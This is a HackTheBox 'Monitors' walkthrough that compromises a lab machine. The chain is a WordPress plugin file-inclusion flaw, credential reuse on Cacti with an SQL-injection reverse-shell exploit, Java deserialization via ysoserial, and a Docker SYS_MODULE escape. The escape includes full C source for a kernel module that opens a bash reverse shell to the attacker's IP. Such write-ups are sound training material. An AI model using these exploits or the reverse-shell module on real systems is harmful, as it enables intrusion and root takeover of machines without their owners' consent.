Monitors - HackTheBox

Start with Nmap scanning to detect open ports.

┌──(root💀kali)-[/home/…/HTB/Monitors/machine/nmap]
└─# nmap -sS --min-rate=5000 -vvv -n -Pn --open 10.10.10.238 -o targeted.txt
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Warning: The -o option is deprecated. Please use -oN
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-10 11:33 EDT
Initiating SYN Stealth Scan at 11:33
Scanning 10.10.10.238 [1000 ports]
Discovered open port 80/tcp on 10.10.10.238
Discovered open port 22/tcp on 10.10.10.238
Completed SYN Stealth Scan at 11:33, 0.24s elapsed (1000 total ports)
Nmap scan report for 10.10.10.238
Host is up, received user-set (0.045s latency).
Scanned at 2021-10-10 11:33:47 EDT for 0s
Not shown: 998 closed ports
Reason: 998 resets
PORT   STATE SERVICE REASON
22/tcp open  ssh 	syn-ack ttl 63
80/tcp open  http	syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds
       	Raw packets sent: 1000 (44.000KB) | Rcvd: 1000 (40.008KB)

I did another scan with Nmap to detect the version of each open port and service.

┌──(root💀kali)-[/home/…/HTB/Monitors/machine/nmap]
└─# nmap -sCV -p22,80 10.10.10.238 -o webScan.txt                                                                                       	130 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-10 11:35 EDT
Nmap scan report for 10.10.10.238
Host is up (0.045s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh 	OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
| 256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_ 256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open  http	Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.95 seconds

The server only had two ports open, I started by enumerating the web server, this is what I had.

https://imgur.com/gleTbyw.png

It seems that virtual hosting was being applied, storing different domains on the same IP, for this I opened /etc/hosts and included the monitors.htb domain.

https://imgur.com/uipe3ri.png

Now he reported what he really had.

https://imgur.com/8wWXphm.png

I made a whatweb to see if it ran any CMS.

┌──(root💀kali)-[/home/…/HTB/Monitors/machine/nmap]
└─# whatweb http://monitors.htb/                                                   	 
http://monitors.htb/ [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.238], JQuery, MetaGenerator[WordPress 5.5.1], Script[text/javascript], Title[Welcome to Monitor – Taking hardware monitoring seriously], UncommonHeaders[link], WordPress[5.5.1]

Apparently it was a web server with Wordpress installed, enumerating the web a bit I found that it had a directory listing of the plugins, I found one called wp-with-spritz.

https://imgur.com/AgMIHZ0.png

I searched the internet to see if there was any exploit related to the plugin.

https://imgur.com/RBKDaS5.png

I found a few, I settled on the one posted on exploit.db.

https://imgur.com/GCEmKDt.png

Looking at it I saw that the web server was vulnerable to Local File Inclusion, meaning that it could see local files on the machine, I tried to enumerate the /etc/hosts to confirm the vulnerability.

https://imgur.com/5EuTLGD.png

Indeed, I could list files, in this case I tried to list the WordPress configuration file with curl, these usually have hardcoded credentials, after a few attempts trying to find the path I found it.

https://imgur.com/c6a0jRF.png

Something that caught my attention was that it did not interpret the PHP code so I did not have to use a “wrapper”.

https://imgur.com/2RGpKpo.png

Now, I tried these credentials in the WordPress login panel but no luck.

https://imgur.com/A51K99w.png

Taking advantage of the LFI vulnerability I tried to enumerate the 000-default.conf file. This file could have information about domains or subdomains that could be operational on the system.

https://imgur.com/c6a0jRF.png

And yes, I found cacti.monitors.htb, included it in /etc/hosts and accessed the web, it reported a login panel.

https://imgur.com/zyVFcWE.png

I immediately tried the credentials I had obtained from the WordPress configuration file enumeration.

https://imgur.com/PkEkPML.png

And I authenticate myself.

https://imgur.com/CDcopSP.png

Since I knew the version I decided to look for an exploit for this panel and found one that had to be authenticated.

https://imgur.com/YyyEGtR.png

Looking into it a bit I saw that it took advantage of a malicious SQL query to exploit the vulnerability, to gain access it uses a reverse shell with mkfifo.

https://imgur.com/wiX1Rvr.png

Run the exploit using the panel login credentials, my IP, port and gain access to the machine.

https://imgur.com/DsIengg.png

I did a TTY scan and enumerated users, found markus operational on the system.

https://imgur.com/hDZXMFI.png

Since I didn’t have the ability to see the user’s “flag” I enumerated the machine a bit and found a file that caught my attention called cacti-backup.service, when I looked at it I found a path that was in the markus directory, going to this directory I saw that there was a folder called .backup that was hidden.

https://imgur.com/h65jw3V.png

Looking at the file called backup.sh I found credentials in clear text.

https://imgur.com/K9IPqJs.png

I tried using them to pivot to user markus and it worked.

https://imgur.com/ZZUd7un.png

Now I could see the user’s “flag”.

VYcjmdD

In the main directory of markus there was also a file called note.txt, when I looked at it I found the following.

https://imgur.com/EupX3rZ.png

It said that I disabled phpinfo in php.ini but it didn’t update a Docker image, this caught my attention, I thought that later I could use this information for something, for the moment I decided to continue investigating the machine a little more, enumerating SUID permissions I didn’t find anything interesting.

https://imgur.com/5rzyhO2.png

The machine also had SSH connectivity with the credentials found above, I stuck with this Shell.

https://imgur.com/9PPj1ah.png

Doing some more enumeration I found a web server on the machine running on port 8443.

GJcJ7u7

This caught my attention so I decided to see what I had, for this I had to do a port forwarding to have the port open on my localhost, since the machine had SSH I did it with that.

https://imgur.com/Qh2lrZM.png

And I found the following on the web server.

https://imgur.com/1l26Keu.png

I did fuzzing with gobuster and found different directories.

https://imgur.com/T1VS0uE.png

Accessing manufacturing redirected me to a login panel.

https://imgur.com/YzPEcwm.png

I could see the version that was being used.

https://imgur.com/aFPSFBd.png

I decided to do a search for exploits on the internet.

https://imgur.com/FGS1Ybf.png

I found that it was vulnerable to insecure Java deserialization, a “ysoserial” in every rule.

Captura de pantalla (13)

To verify if the server was vulnerable to this attack I accessed the following path /webtools/corol/xmlrpc, I found that it existed.

https://imgur.com/c6ikmko.png

What I did to exploit this vulnerability is to follow the exploit steps manually.

First I downloaded ysoserial to my machine and created a bash file called shell.sh with a reverse shell, I created the payload that would allow me to download the shell.sh file and export it to a writable path.

https://imgur.com/RmqR7so.png

I opened a Python web server hosting shell.sh and sent a POST request with the payload created previously with ysoserial.

https://imgur.com/J8xMYLD.png

I received a GET request on my server, this was a good sign, I created one more payload by having it run shell.sh to receive a reverse shell, I set port 443 to listen with netcat and made another POST request with the new payload.

https://imgur.com/fP0neKf.png

I received a GET request to my server again.

https://imgur.com/P2b7v8a.png

And gain access to the system via netcat.

https://imgur.com/NJ8KfPa.png

Looking at my IP I found that I was in a Docker container.

https://imgur.com/YQ8na73.png

Remembering the note from before, it said: “update docker image for production use”, this task was reported as “not done”, I thought it could be a clue of something, enumerating the machine well I found a docker “capability” that I could take advantage of.

https://imgur.com/9P9pfm5.png

SYS_MODULE, I decided to look for information about a possible privilege escalation.

https://imgur.com/z0rHr51.png

To take advantage of this “capability” the idea was to create a malicious kernel module, to do this the first thing was to create a program to invoke the reverse shell, I did it with the following code written in c and I called it reverse-shell.c.

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.16.32/443 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Next you have to create a MakeFile to compile the kernel module, for this I used the following code.

obj-m +=reverse-shell.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Now I just compiled the kernel module with make on the victim machine, listened with nc on port 443 and did an insmod on the reverse-shell.ko file exported by the compilation, and I now have access to the system from nc, and I can now view the root flag.

IC13bpe

Leave a comment